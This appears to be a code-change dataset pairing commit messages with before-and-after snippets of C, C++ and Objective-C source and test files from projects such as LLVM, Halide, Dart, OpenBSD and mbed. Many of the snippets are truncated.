#include <primitives/sw/settings_program_name.h> #if defined(SW_EXECUTABLE) && !defined(SW_CUSTOM_PROGRAM_NAME) EXPORT_FROM_EXECUTABLE std::string getProgramName() { // this will trigger build error if executable forget to set // PackageDefinitions = true; #ifndef PACKAGE_NAME_CLEAN #error "Set '.PackageDefini...
Add assertion util to handle OCStackResult code with exception
//****************************************************************** // // Copyright 2015 Samsung Electronics All Rights Reserved. // //-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance...
Include dependencies, remove excess debugging.
// // mysociety_config.cpp: // Read the terrible mySociety PHP format config files, as similar code for // other languages. // // Copyright (c) 2010 UK Citizens Online Democracy. All rights reserved. // Email: francis@mysociety.org; WWW: http://www.mysociety.org/ // // $Id: mysociety_error.h,v 1.4 2009-09-24 22:00:29 f...
Add timer with external clock count
/* * main.c * * Created on: 2 Nov 2016 * Author: rafpe */ #include "stm32f4xx.h" #include "stm32f407xx.h" int main(void) { volatile uint32_t delay; RCC->AHB1ENR |= RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOAEN; // enable the clock for GPIOs RCC->APB2ENR |= RCC_...
Fix bugs caused by writing code while half asleep.
#ifdef __sun__ #include <pthread.h> #include <stdlib.h> static struct atexit_handler { void (*f)(void *); void *p; void *d; struct atexit_handler *next; } *head; static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; int __cxa_atexit( void (*f)(void *), void *p, void *d) { pthread_mutex_lock(&lock); st...
#ifdef __sun__ #include <pthread.h> #include <stdlib.h> static struct atexit_handler { void (*f)(void *); void *p; void *d; struct atexit_handler *next; } *head; static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; int __cxa_atexit( void (*f)(void *), void *p, void *d) { pthread_mutex_lock(&lock); st...
Use different extension detection mechanism
//----------------------------------------------------------------------------- // Copyright (c) 2012 GarageGames, LLC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restrictio...
//----------------------------------------------------------------------------- // Copyright (c) 2012 GarageGames, LLC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restrictio...
Revert "[static analyzer][test] Test directly that driver sets D__clang_analyzer__"
// RUN: %clang -### --analyze %s 2>&1 | FileCheck %s // CHECK: -D__clang_analyzer__
// RUN: %clang --analyze %s #ifndef __clang_analyzer__ #error __clang_analyzer__ not defined #endif
Use time based seed for generating random numbers.
#ifndef DELAY_H #define DELAY_H #include <stdlib.h> typedef struct drand48_data delay_t; static inline void delay_init(delay_t * state, int id) { srand48_r(id + 1, state); } static inline void delay_exec(delay_t * state) { long n; lrand48_r(state, &n); int j; for (j = 50; j < 50 + n % 100; ++j) { __a...
#ifndef DELAY_H #define DELAY_H #include <time.h> #include <stdlib.h> typedef struct drand48_data delay_t; static inline void delay_init(delay_t * state, int id) { srand48_r(time(NULL) + id, state); } static inline void delay_exec(delay_t * state) { long n; lrand48_r(state, &n); int j; for (j = 50; j < 5...
Add an OS mutex to Halide runtime.
#ifndef HALIDE_RUNTIME_MUTEX_H #define HALIDE_RUNTIME_MUTEX_H #include "HalideRuntime.h" // Avoid ODR violations namespace { // An RAII mutex struct ScopedMutexLock { halide_mutex *mutex; ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) { halide_mutex_lock(mutex); } ~ScopedMutexLock() { ...
Add branched thread creation privatization test, where protected and mutex_inits are unsound
extern int __VERIFIER_nondet_int(); #include <pthread.h> #include <assert.h> int global = 5; pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { return NULL; } int main() { int r = __VERIFIER_nondet_int(); pthread_t id; if (r) { pthread_create(&id, NULL, t_fun, NULL); } else { ...
Add frames per second counter..
#ifndef GFX_FPS_H #define GFX_FPS_H #include <chrono> namespace GFX { class FramesPerSecond { public: FramesPerSecond() : m_millisecs(0.0), m_frames(0) { } void startRender() { m_start = std::chrono::high_resolution_clock::now(); } void stopRender() {...
Add do while loop examples, really
/* * Author: Jhonatan Casale (jhc) * * Contact : jhonatan@jhonatancasale.com * : casale.jhon@gmail.com * : https://github.com/jhonatancasale * : https://twitter.com/jhonatancasale * : http://jhonatancasale.github.io/ * * Create date Wed 1 Mar 02:02:10 BRT 2017 * */ #include ...
Simplify and improve definition of DSLog macro
// // DSLogger.h // ControlPlane // // Created by David Symonds on 22/07/07. // Modified by Vladimir Beloborodov on 01 Apr 2013. // @interface DSLogger : NSObject + (void)initialize; + (DSLogger *)sharedLogger; + (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info; - (id)init; - (void)dealloc; ...
// // DSLogger.h // ControlPlane // // Created by David Symonds on 22/07/07. // Modified by Vladimir Beloborodov on 01 Apr 2013. // @interface DSLogger : NSObject + (void)initialize; + (DSLogger *)sharedLogger; + (void)logFromFunction:(NSString *)fnName withInfo:(NSString *)info; - (id)init; - (void)dealloc; ...
Use C++11 `using` instead of `typedef`
#ifndef CPR_TYPES_H #define CPR_TYPES_H #include <map> #include <string> namespace cpr { class CaseInsenstiveCompare { public: bool operator()(const std::string& a, const std::string& b) const; private: static void char_to_lower(char& c); static std::string to_lower(const std...
#ifndef CPR_TYPES_H #define CPR_TYPES_H #include <map> #include <string> namespace cpr { class CaseInsenstiveCompare { public: bool operator()(const std::string& a, const std::string& b) const; private: static void char_to_lower(char& c); static std::string to_lower(const std...
Replace contents property with private array and getter.
// // FileObject.h // arc // // Created by Jerome Cheng on 19/3/13. // Copyright (c) 2013 nus.cs3217. All rights reserved. // #import <Foundation/Foundation.h> @interface FileObject : NSObject { @private NSURL* _url; } // The name of this object. @property (strong, nonatomic) NSString* name; // The full...
// // FileObject.h // arc // // Created by Jerome Cheng on 19/3/13. // Copyright (c) 2013 nus.cs3217. All rights reserved. // #import <Foundation/Foundation.h> @interface FileObject : NSObject { @private NSURL* _url; id _contents; } // The name of this object. @property (strong, nonatomic) NSString* ...
Allow reading from standard input
#ifndef NORCSID static char rcsid[]= "$Header$"; #endif #include <stdio.h> char *filename; main(argc,argv) char **argv; { extern int nerrors; extern int code_in_c; extern int tabledebug; extern int verbose; while (argc >1 && argv[1][0]=='-') { switch(argv[1][1]) { case 'c': code_in_c = 0; break; ca...
#ifndef NORCSID static char rcsid[]= "$Header$"; #endif #include <stdio.h> char *filename; main(argc,argv) char **argv; { extern int nerrors; extern int code_in_c; extern int tabledebug; extern int verbose; while (argc >1 && argv[1][0]=='-') { switch(argv[1][1]) { case 'c': code_in_c = 0; break; ca...
Fix ARM RealView EB and VE builds (2)
/** @file * * Copyright (c) 2011, ARM Limited. All rights reserved. * * This program and the accompanying materials * are licensed and made available under the terms and conditions of the BSD License * which accompanies this distribution. The full text of the license may be fou...
Remove test case's dependency on header file.
// RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s #include <stdlib.h> void f1() { int *p = malloc(10); return; // expected-warning{{Allocated memory never released. Potential memory leak.}} } // THIS TEST CURRENTLY FAILS...
// RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s typedef long unsigned int size_t; void *malloc(size_t); void free(void *); void f1() { int *p = malloc(10); return; // expected-warning{{Allocated memory never released. P...
Add files to the master header
// // AXKCollectionViewTools.h // Alexander Kolov // // Created by Alexander Kolov on 30/10/13. // Copyright (c) 2013 Alexander Kolov. All rights reserved. // #import "UICollectionReusableView+ReuseIdentifier.h" #import "UICollectionViewCell+IndexPath.h" #import "UICollectionViewCell+ReuseIdentifier.h" #import "UI...
// // AXKCollectionViewTools.h // Alexander Kolov // // Created by Alexander Kolov on 30/10/13. // Copyright (c) 2013 Alexander Kolov. All rights reserved. // #import "UICollectionReusableView+ReuseIdentifier.h" #import "UICollectionViewCell+IndexPath.h" #import "UICollectionViewCell+ReuseIdentifier.h" #import "UI...
Fix prototype to make function.
//===-- llvm/Bytecode/Reader.h - Reader for VM bytecode files ----*- C++ -*--=// // // This functionality is implemented by the lib/BytecodeReader library. // This library is used to read VM bytecode files from an iostream. // // Note that performance of this library is _crucial_ for performance of the // JIT type appl...
//===-- llvm/Bytecode/Reader.h - Reader for VM bytecode files ----*- C++ -*--=// // // This functionality is implemented by the lib/BytecodeReader library. // This library is used to read VM bytecode files from an iostream. // // Note that performance of this library is _crucial_ for performance of the // JIT type appl...
Add header to provide MSVC compatibility
/*! * @file msvc.h * @brief Provide MSVC compatibility * @author koturn */ #ifndef KOTLIB_COMPAT_MSVC_H #define KOTLIB_COMPAT_MSVC_H #ifndef _MSC_VER # define _declspec(x) # define __declspec(x) #endif #endif // KOTLIB_COMPAT_MSVC_H
Fix the build breakage on Windows caused by CountTrailingZeros.
// Copyright (c) 2012, the Dart project authors. Please see the AUTHORS file // for details. All rights reserved. Use of this source code is governed by a // BSD-style license that can be found in the LICENSE file. #ifndef PLATFORM_UTILS_WIN_H_ #define PLATFORM_UTILS_WIN_H_ #include <intrin.h> namespace dart { inl...
// Copyright (c) 2012, the Dart project authors. Please see the AUTHORS file // for details. All rights reserved. Use of this source code is governed by a // BSD-style license that can be found in the LICENSE file. #ifndef PLATFORM_UTILS_WIN_H_ #define PLATFORM_UTILS_WIN_H_ #include <intrin.h> namespace dart { inl...
Add slots for second lab
#ifndef MAIN_WINDOW_H #define MAIN_WINDOW_H #include <QGroupBox> #include <QVBoxLayout> #include <base_window.h> class MainWindow : public gui::BaseWindow { public: MainWindow(); virtual ~MainWindow(); protected: /** * Callback for resize window. * * @param event[in] Event params. */...
#ifndef MAIN_WINDOW_H #define MAIN_WINDOW_H #include <QGroupBox> #include <QVBoxLayout> #include <base_window.h> class MainWindow : public gui::BaseWindow { public: MainWindow(); virtual ~MainWindow(); protected: /** * Callback for resize window. * * @param event[in] Event params. */...
Fix poorly worded volume comment.
/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include <stddef.h> /* Default to 1dB per tick. Volume level 100 = 0dB level 0 = -100dB. */ long cras_volume_curve_get_db_for_index(size_t vo...
/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include <stddef.h> /* Default to 1dB per tick. * Volume = 100 -> 0dB. * Volume = 0 -> -100dB. */ long cras_volume_curve_get_db_for_index(si...
Include for OpenCL progs. Similar to the csmith include. Will only work with the minimal version at the moment.
#ifndef RANDOM_RUNTIME_H #define RANDOM_RUNTIME_H #include "safe_math_macros.h" static uint32_t crc32_tab[256]; static uint32_t crc32_context = 0xFFFFFFFFUL; /*static void crc32_gentab (void) { uint32_t crc; const uint32_t poly = 0xEDB88320UL; int i, j; for (i = 0; i < 256; i++) { crc = i; for (j = 8; j >...
Add a TODO comment about boolean division
#pragma once #include "xchainer/macro.h" namespace xchainer { template <typename T> class ArithmeticOps { public: XCHAINER_HOST_DEVICE static T Add(T lhs, T rhs) { return lhs + rhs; } XCHAINER_HOST_DEVICE static T Multiply(T lhs, T rhs) { return lhs * rhs; } XCHAINER_HOST_DEVICE static T Divide(T lhs, T ...
#pragma once #include "xchainer/macro.h" namespace xchainer { template <typename T> class ArithmeticOps { public: XCHAINER_HOST_DEVICE static T Add(T lhs, T rhs) { return lhs + rhs; } XCHAINER_HOST_DEVICE static T Multiply(T lhs, T rhs) { return lhs * rhs; } XCHAINER_HOST_DEVICE static T Divide(T lhs, T ...
Move by machine word size
#ifndef __STDARG_H #define __STDARG_H #include "sys/types.h" typedef void *va_list; #define va_start(l, arg) l = (void *)&arg #define va_arg(l, type) (*(type *)(l += __WORDSIZE / 8)) #define va_end(l) #endif
#ifndef __STDARG_H #define __STDARG_H #include "sys/types.h" typedef void *va_list; #define va_start(l, arg) l = (void *)&arg /* * va_arg assumes arguments are promoted to * machine-word size when pushed onto the stack */ #define va_arg(l, type) (*(type *)(l += sizeof *l)) #define va_end(l) #endif
Switch from class property to methods
/** * Copyright (c) 2015-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ #import <F...
/** * Copyright (c) 2015-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ #import <F...
Remove stale comment which used to explain why we had a special 31-bit freelist for DMA, back when this was applicable.
/* $OpenBSD: vmparam.h,v 1.9 2011/05/30 22:25:22 oga Exp $ */ /* public domain */ #ifndef _MACHINE_VMPARAM_H_ #define _MACHINE_VMPARAM_H_ #define VM_PHYSSEG_MAX 32 /* Max number of physical memory segments */ /* * On Origin and Octane families, DMA to 32-bit PCI devices is restricted. * * Systems with physical mem...
/* $OpenBSD: vmparam.h,v 1.10 2014/07/13 15:48:32 miod Exp $ */ /* public domain */ #ifndef _MACHINE_VMPARAM_H_ #define _MACHINE_VMPARAM_H_ #define VM_PHYSSEG_MAX 32 /* Max number of physical memory segments */ #include <mips64/vmparam.h> #endif /* _MACHINE_VMPARAM_H_ */
Fix for crashes in iOS 10
// // class_getSubclasses.h // iActiveRecord // // Created by Alex Denisov on 21.03.12. // Copyright (c) 2012 okolodev.org. All rights reserved. // #import <Foundation/Foundation.h> #import <objc/runtime.h> static NSArray *class_getSubclasses(Class parentClass) { int numClasses = objc_getClassList(NULL, 0); ...
// // class_getSubclasses.h // iActiveRecord // // Created by Alex Denisov on 21.03.12. // Copyright (c) 2012 okolodev.org. All rights reserved. // #import <Foundation/Foundation.h> #import <objc/runtime.h> static NSArray *class_getSubclasses(Class parentClass) { int numClasses = objc_getClassList(NULL, 0); ...
Fix some GCC initialization warnings
#pragma once #include <vector> #include <boost/multiprecision/cpp_int.hpp> namespace dev { namespace eth { namespace jit { using byte = uint8_t; using bytes = std::vector<byte>; using u256 = boost::multiprecision::uint256_t; using bigint = boost::multiprecision::cpp_int; struct NoteChannel {}; // FIXME: Use some lo...
#pragma once #include <vector> #include <boost/multiprecision/cpp_int.hpp> namespace dev { namespace eth { namespace jit { using byte = uint8_t; using bytes = std::vector<byte>; using u256 = boost::multiprecision::uint256_t; using bigint = boost::multiprecision::cpp_int; struct NoteChannel {}; // FIXME: Use some lo...
Improve checks for vla-argument test
// RUN: %ocheck 0 %s // RUN: %ocheck 0 %s -fstack-protector-all extern void abort(void); as, bs, fs; static int a(){ as++; return 2; } static int b(){ bs++; return 2; } static int f(int p[a()][b()]) { fs++; return p[0][0] + p[0][1] + p[1][0] + p[1][1]; } static void assert(_Bool b) { if(!b) abort(); } int ma...
// RUN: %ocheck 0 %s // RUN: %ocheck 0 %s -fstack-protector-all extern void abort(void); as, bs, fs; static int a(){ as++; return 2; } static int b(){ bs++; return 2; } static int f(int p[a()][b()]) { fs++; return p[0][0] // 5 + p[0][1] // 4 + p[1][0] // 3 + p[1][1] // 2 + sizeof(p) // sizeof(T (*)[...]) ...
Remove __attribute__((weak)) on function prototype. It has a different meaning on prototypes then it does on definitions. It is not needed on the prototype and causes build failures for static codegen
/* ===-- int_util.h - internal utility functions ----------------------------=== * * The LLVM Compiler Infrastructure * * This file is dual licensed under the MIT and the University of Illinois Open * Source Licenses. See LICENSE.TXT for details. * * ===---------------------------------------...
/* ===-- int_util.h - internal utility functions ----------------------------=== * * The LLVM Compiler Infrastructure * * This file is dual licensed under the MIT and the University of Illinois Open * Source Licenses. See LICENSE.TXT for details. * * ===---------------------------------------...
Fix for binary files on Windows
#include <stdio.h> #include <stdlib.h> #include "../lib/libunshield.h" int main(int argc, char** argv) { unsigned seed = 0; FILE* input = NULL; FILE* output = NULL; size_t size; unsigned char buffer[16384]; if (argc != 3) { fprintf(stderr, "Syntax:\n" " %s INPUT-FILE OUTPUT-FILE\n...
#include <stdio.h> #include <stdlib.h> #include "../lib/libunshield.h" int main(int argc, char** argv) { unsigned seed = 0; FILE* input = NULL; FILE* output = NULL; size_t size; unsigned char buffer[16384]; if (argc != 3) { fprintf(stderr, "Syntax:\n" " %s INPUT-FILE OUTPUT-FILE\n...
Add header file to git
#ifndef _LISPY_H #define _LISPY_H #include "lib/mpc.h" /* Compile these functions if we're on Windows */ #ifdef _WIN32 static char buffer[2048]; char* readline(char* prompt) { fputs(prompt, stdout); fgets(buffer, 2048, stdin); char* cpy = malloc(strlen(buffer) + 1); strcpy(cpy, buffer); cpy[strlen(cpy) - 1] = ...
Add methods to notify FolderView delegate when edit mode is toggled.
// // FolderViewControllerDelegate.h // arc // // Created by Jerome Cheng on 17/4/13. // Copyright (c) 2013 nus.cs3217. All rights reserved. // #import <Foundation/Foundation.h> #import "File.h" #import "Folder.h" @class FolderViewController; @protocol FolderViewControllerDelegate <NSObject> - (void)folderViewC...
// // FolderViewControllerDelegate.h // arc // // Created by Jerome Cheng on 17/4/13. // Copyright (c) 2013 nus.cs3217. All rights reserved. // #import <Foundation/Foundation.h> #import "File.h" #import "Folder.h" @class FolderViewController; @protocol FolderViewControllerDelegate <NSObject> // Allows delegate ...
Add test case for casting longs to function pointers
void abort(); int add(int a, int b) { return a + b; } int sub(int a, int b) { return a - b; } int mul(int a, int b) { return a * b; } int div(int a, int b) { return a / b; } int rem(int a, int b) { return a % b; } long arr[5] = {(long)&add, (long)&sub, (long)&mul, (long)&div, (long)&rem }; int main() { int i; i...
Synchronize logical grouping of defines
#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \ (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8)) #define PT_DISPATCH_RETAIN_RELEASE 1 #endif #if (!defined(PT_DISPA...
#if (defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && (!defined(__IPHONE_6_0) || __IPHONE_OS_VERSION_MIN_REQUIRED < __IPHONE_6_0)) || \ (defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && (!defined(__MAC_10_8) || __MAC_OS_X_VERSION_MIN_REQUIRED < __MAC_10_8)) #define PT_DISPATCH_RETAIN_RELEASE 1 #else #define PT_DISPATCH_RETA...
Fix clang's stupid warning to work around a bug in OS X headers...
#ifndef _OBJC_MESSAGE_H_ #define _OBJC_MESSAGE_H_ #if defined(__x86_64) || defined(__i386) || defined(__arm__) || \ defined(__mips_n64) || defined(__mips_n32) /** * Standard message sending function. This function must be cast to the * correct types for the function before use. The first argument is the * receiv...
Use GCC's __FUNCTION__ for ACPI_GET_FUNCTION_NAME
#define ACPI_MACHINE_WIDTH 64 #define ACPI_SINGLE_THREADED #define ACPI_DEBUG_OUTPUT #define ACPI_DISASSEMBLER #define ACPI_USE_LOCAL_CACHE #define ACPI_INLINE inline #define ACPI_USE_NATIVE_DIVIDE // Depends on threading support #define ACPI_DEBUGGER #define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED // Depends on d...
#define ACPI_MACHINE_WIDTH 64 #define ACPI_SINGLE_THREADED #define ACPI_DEBUG_OUTPUT #define ACPI_DISASSEMBLER #define ACPI_USE_LOCAL_CACHE #define ACPI_INLINE inline #define ACPI_USE_NATIVE_DIVIDE // Depends on threading support #define ACPI_DEBUGGER #define DEBUGGER_THREADING DEBUGGER_SINGLE_THREADED // Depends on d...
Implement outline of "radar window"
#include <stdlib.h> #include <ncurses.h> /** * The main function, called when atcso is started (duh). */ int main(int argc, char** argv) { initscr(); raw(); // Disable line buffering noecho(); // Don't show things the user is typing printw("hai wurld"); refresh(); while (getch() != ...
#include <stdlib.h> #include <ncurses.h> #include <time.h> typedef struct { } AtcsoData; void mainloop(); WINDOW *createRadarWin(); void updateRadarWin(AtcsoData *data, WINDOW *radarWin); /** * The main function, called when atcso is started (duh). */ int main(int argc, char **argv) { initscr(); raw(); ...
Add missing include for TLSSocket
/** \addtogroup netsocket */ /** @{*/ /* nsapi.h - The network socket API * Copyright (c) 2015 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.or...
/** \addtogroup netsocket */ /** @{*/ /* nsapi.h - The network socket API * Copyright (c) 2015 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.or...
Add assert, more print info
#include <stdio.h> #include <signal.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <setjmp.h> jmp_buf try; void handler(int sig) { static int i = 0; write(2, "stack overflow\n", 15); longjmp(try, ++i); _exit(1); } unsigned recurse(unsigned x) { return recurse(x)+1; } int ma...
#include <stdio.h> #include <signal.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <setjmp.h> jmp_buf try; void handler(int sig) { static int i = 0; printf("stack overflow %d\n", i); longjmp(try, ++i); assert(0); } unsigned recurse(unsigned x) { return recurse(x)+1; } int m...
Add first order dimensional sweep updating
// Upwind updater void updater_first_order_dimensional_splitting(real* q, const real* aux, const int nx, const int ny, const real* ...